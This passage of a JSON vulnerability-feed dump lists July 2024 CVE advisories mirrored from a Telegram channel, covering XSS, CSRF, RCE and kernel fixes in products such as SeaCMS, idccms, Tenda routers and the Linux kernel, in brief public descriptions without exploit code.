"CVE-2024-40690", "type": "seen", "source": "https://t.me/cvedetector/785", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40690 - IBM InfoSphere Server 11.7 is vulnerable to cross-\", \n  \"Content\": \"CVE ID : CVE-2024-40690 \nPublished : July 12, 2024, 6:15 p.m. | 36\u00a0minutes ago \nDescription : IBM InfoSphere Server 11.7 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.  IBM X-Force ID:  297720. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T21:07:35.000000Z"}, {"uuid": "de04519f-9ff2-4451-9c2f-1170157ece3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40110", "type": "seen", "source": "https://t.me/cvedetector/784", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40110 - Sourcecodester Poultry Farm Management System v1.0\", \n  \"Content\": \"CVE ID : CVE-2024-40110 \nPublished : July 12, 2024, 5:15 p.m. | 43\u00a0minutes ago \nDescription : Sourcecodester Poultry Farm Management System v1.0 contains an Unauthenticated Remote Code Execution (RCE) vulnerability via the productimage parameter at /farm/product.php. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T20:17:23.000000Z"}, {"uuid": "a3510fcf-d8a8-4a01-8840-b397865b6d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40518", "type": "seen", "source": "https://t.me/cvedetector/783", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40518 - SeaCMS 12.9 has a remote code execution vulnerabil\", \n  \"Content\": \"CVE ID : CVE-2024-40518 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : SeaCMS 12.9 has a remote code execution vulnerability. The vulnerability is caused by admin_weixin.php directly splicing and writing the user input data into weixin.php without processing it, which allows authenticated attackers to exploit the vulnerability to execute arbitrary commands and obtain system permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:14.000000Z"}, {"uuid": "9479e86e-0f64-4424-9cb6-71180e0d1ff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40519", "type": "seen", "source": "https://t.me/cvedetector/781", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40519 - SeaCMS 12.9 has a remote code execution vulnerabil\", \n  \"Content\": \"CVE ID : CVE-2024-40519 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : SeaCMS 12.9 has a remote code execution vulnerability. The vulnerability is caused by admin_smtp.php directly splicing and writing the user input data into weixin.php without processing it, which allows authenticated attackers to exploit the vulnerability to execute arbitrary commands and obtain system permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:12.000000Z"}, {"uuid": "2aa8e2d8-0a94-4314-88e8-cf83fcc640c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40540", "type": "seen", "source": "https://t.me/cvedetector/779", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40540 - my-springsecurity-plus before v2024.07.03 was disc\", \n  \"Content\": \"CVE ID : CVE-2024-40540 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : my-springsecurity-plus before v2024.07.03 was discovered to contain a SQL injection vulnerability via the dataScope parameter at /api/dept. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:10.000000Z"}, {"uuid": "98f29d36-8258-4017-9831-699d1d1faf66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40522", "type": "seen", "source": "https://t.me/cvedetector/778", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40522 - There is a remote code execution vulnerability in\", \n  \"Content\": \"CVE ID : CVE-2024-40522 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : There is a remote code execution vulnerability in SeaCMS 12.9. The vulnerability is caused by phomebak.php writing some variable names passed in without filtering them before writing them into the php file. An authenticated attacker can exploit this vulnerability to execute arbitrary commands and obtain system permissions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:06.000000Z"}, {"uuid": "df54bc7d-aac3-475d-9261-54458a5af8d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40545", "type": "seen", "source": "https://t.me/cvedetector/777", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40545 - An arbitrary file upload vulnerability in the comp\", \n  \"Content\": \"CVE ID : CVE-2024-40545 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /admin/cmsWebFile/doUpload of PublicCMS v4.0.202302.e allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:05.000000Z"}, {"uuid": "c64bbced-36cf-455d-bf22-1a4c2a0c29a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40544", "type": "seen", "source": "https://t.me/cvedetector/772", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40544 - PublicCMS v4.0.202302.e was discovered to contain\", \n  \"Content\": \"CVE ID : CVE-2024-40544 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : PublicCMS v4.0.202302.e was discovered to contain a Server-Side Request Forgery (SSRF) via the component /admin/#maintenance_sysTask/edit. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:57.000000Z"}, {"uuid": "b4ba9fd9-c166-4c28-8b92-5c91ec73f20d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40548", "type": "seen", "source": "https://t.me/cvedetector/771", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40548 - An arbitrary file upload vulnerability in the comp\", \n  \"Content\": \"CVE ID : CVE-2024-40548 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /admin/cmsTemplate/save of PublicCMS v4.0.202302.e allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:56.000000Z"}, {"uuid": "4c9a2c8f-5f25-4232-b441-673ebe5a6007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40990", "type": "seen", "source": "https://t.me/cvedetector/739", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40990 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40990 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/mlx5: Add check for srq max_sge attribute  \n  \nmax_sge attribute is passed by the user, and is inserted and used  \nunchecked, so verify that the value doesn't exceed maximum allowed value  \nbefore using it. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:54.000000Z"}, {"uuid": "c078f66d-543f-49d7-adba-cc893517e1bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40999", "type": "seen", "source": "https://t.me/cvedetector/738", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40999 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40999 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: ena: Add validation for completion descriptors consistency  \n  \nValidate that `first` flag is set only for the first  \ndescriptor in multi-buffer packets.  \nIn case of an invalid descriptor, a reset will occur.  \nA new reset reason for RX data corruption has been added. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:15.000000Z"}, {"uuid": "ffa65ed3-e599-4fe4-8ba3-eba17f1ef0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40994", "type": "seen", "source": "https://t.me/cvedetector/735", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40994 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40994 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nptp: fix integer overflow in max_vclocks_store  \n  \nOn 32bit systems, the \"4 * max\" multiply can overflow.  Use kcalloc()  \nto do the allocation to prevent this. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:12.000000Z"}, {"uuid": "d9620b1a-84df-498c-92cd-e268ad9fe288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40987", "type": "seen", "source": "https://t.me/cvedetector/734", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40987 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40987 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/amdgpu: fix UBSAN warning in kv_dpm.c  \n  \nAdds bounds check for sumo_vid_mapping_entry. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:11.000000Z"}, {"uuid": "d0714af7-6c5c-487d-9584-7d2b910edb2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40989", "type": "seen", "source": "https://t.me/cvedetector/733", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40989 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40989 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nKVM: arm64: Disassociate vcpus from redistributor region on teardown  \n  \nWhen tearing down a redistributor region, make sure we don't have  \nany dangling pointer to that region stored in a vcpu. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:07.000000Z"}, {"uuid": "80cd8511-1b95-4eaf-85a6-7068d5856ef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40985", "type": "seen", "source": "https://t.me/cvedetector/732", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40985 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40985 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet/tcp_ao: Don't leak ao_info on error-path  \n  \nIt seems I introduced it together with TCP_AO_CMDF_AO_REQUIRED, on  \nversion 5 [1] of TCP-AO patches. Quite frustrative that having all these  \nselftests that I've written, running kmemtest & kcov was always in todo.  \n  \n[1]:  \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:06.000000Z"}, {"uuid": "366387a1-e7b4-4bc9-9bd2-688d0c2df483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40995", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/731", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40995 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40995 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet/sched: act_api: fix possible infinite loop in tcf_idr_check_alloc()  \n  \nsyzbot found hanging tasks waiting on rtnl_lock [1]  \n  \nA reproducer is available in the syzbot bug.  \n  \nWhen a request to add multiple actions with the same index is sent, the  \nsecond request will block forever on the first request. This holds  \nrtnl_lock, and causes tasks to hang.  \n  \nReturn -EAGAIN to prevent infinite looping, while keeping documented  \nbehavior.  \n  \n[1]  \n  \nINFO: task kworker/1:0:5088 blocked for more than 143 seconds.  \nNot tainted 6.9.0-rc4-syzkaller-00173-g3cdb45594619 #0  \n\"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.  \ntask:kworker/1:0 state:D stack:23744 pid:5088 tgid:5088 ppid:2 flags:0x00004000  \nWorkqueue: events_power_efficient reg_check_chans_work  \nCall Trace:  \n  \ncontext_switch kernel/sched/core.c:5409 [inline]  \n__schedule+0xf15/0x5d00 kernel/sched/core.c:6746  \n__schedule_loop kernel/sched/core.c:6823 [inline]  \nschedule+0xe7/0x350 kernel/sched/core.c:6838  \nschedule_preempt_disabled+0x13/0x30 kernel/sched/core.c:6895  \n__mutex_lock_common kernel/locking/mutex.c:684 [inline]  \n__mutex_lock+0x5b8/0x9c0 kernel/locking/mutex.c:752  \nwiphy_lock include/net/cfg80211.h:5953 [inline]  \nreg_leave_invalid_chans net/wireless/reg.c:2466 [inline]  \nreg_check_chans_work+0x10a/0x10e0 net/wireless/reg.c:2481 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:05.000000Z"}, {"uuid": "485fe11a-cfa9-40ab-8e9b-990364fe696d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40039", "type": "seen", "source": "https://t.me/cvedetector/430", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40039 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40039 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userGroup_deal.php?mudi=del \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:29.000000Z"}, {"uuid": "cd0f959d-6cd7-4b43-aec0-c07be140baaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40037", "type": "seen", "source": "https://t.me/cvedetector/429", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40037 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40037 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userScore_deal.php?mudi=del \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:25.000000Z"}, {"uuid": "366315f2-3ccd-4e7c-96be-770f4311f8b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40417", "type": "seen", "source": "https://t.me/cvedetector/548", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40417 - A vulnerability was found in Tenda AX1806 1.0.0.1.\", \n  \"Content\": \"CVE ID : CVE-2024-40417 \nPublished : July 10, 2024, 4:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability was found in Tenda AX1806 1.0.0.1. Affected by this issue is the function formSetRebootTimer of the file /goform/SetIpMacBind. The manipulation of the argument list leads to stack-based buffer overflow. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T18:53:03.000000Z"}, {"uuid": "81da2ac0-269b-46b3-a9a5-b6815b105476", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40412", "type": "seen", "source": "https://t.me/cvedetector/547", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40412 - Tenda AX12 v1.0 v22.03.01.46 contains a stack over\", \n  \"Content\": \"CVE ID : CVE-2024-40412 \nPublished : July 10, 2024, 4:15 p.m. | 34\u00a0minutes ago \nDescription : Tenda AX12 v1.0 v22.03.01.46 contains a stack overflow in the deviceList parameter of the sub_42E410 function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T18:53:02.000000Z"}, {"uuid": "2c852d3a-e2ba-4b62-9839-f8366d5a5faf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40035", "type": "seen", "source": "https://t.me/cvedetector/426", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40035 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40035 \nPublished : July 9, 2024, 7:15 p.m. | 35\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/userLevel_deal.php?mudi=add. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-09T21:55:22.000000Z"}, {"uuid": "342d00ce-a14b-4fd0-bc2a-ecc808a707a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40331", "type": "seen", "source": "https://t.me/cvedetector/546", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40331 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40331 \nPublished : July 10, 2024, 2:15 p.m. | 31\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/dbBakMySQL_deal.php?mudi=backup \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T16:47:35.000000Z"}, {"uuid": "247a1143-a9d5-4b5a-bcce-1de18dea7f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40332", "type": "seen", "source": "https://t.me/cvedetector/545", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40332 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40332 \nPublished : July 10, 2024, 2:15 p.m. | 31\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/moneyRecord_deal.php?mudi=delRecord \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T16:47:34.000000Z"}, {"uuid": "c8d1ae0f-d035-4042-aa90-f00f012b4370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40336", "type": "seen", "source": "https://t.me/cvedetector/544", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40336 - idccms v1.35 is vulnerable to Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-40336 \nPublished : July 10, 2024, 2:15 p.m. | 31\u00a0minutes ago \nDescription : idccms v1.35 is vulnerable to Cross Site Scripting (XSS) within the 'Image Advertising Management.' \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T16:47:32.000000Z"}, {"uuid": "8f1081dc-2e6a-431c-8f5b-d9ebc046009c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40329", "type": "seen", "source": "https://t.me/cvedetector/543", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40329 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40329 \nPublished : July 10, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/softBak_deal.php?mudi=backup \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T15:56:59.000000Z"}, {"uuid": "53cafc94-acc2-46d3-b98a-4803903ee745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40333", "type": "seen", "source": "https://t.me/cvedetector/541", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40333 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40333 \nPublished : July 10, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/softBak_deal.php?mudi=del&dataID=2 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T15:56:55.000000Z"}, {"uuid": "65366056-cf30-4959-b45f-0e3a47da8622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40334", "type": "seen", "source": "https://t.me/cvedetector/540", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40334 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40334 \nPublished : July 10, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/serverFile_deal.php?mudi=upFileDel&dataID=3 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-10T15:56:54.000000Z"}, {"uuid": "664daa18-5dd4-46e3-8db6-e54f6f52ddce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40328", "type": "seen", "source": "https://t.me/cvedetector/538", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40328 - idccms v1.35 was discovered to contain a Cross-Sit\", \n  \"Content\": \"CVE ID : CVE-2024-40328 \nPublished : July 10, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : idccms v1.35 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /admin/memberOnline_deal.php?mudi=del&dataType=&dataID=6 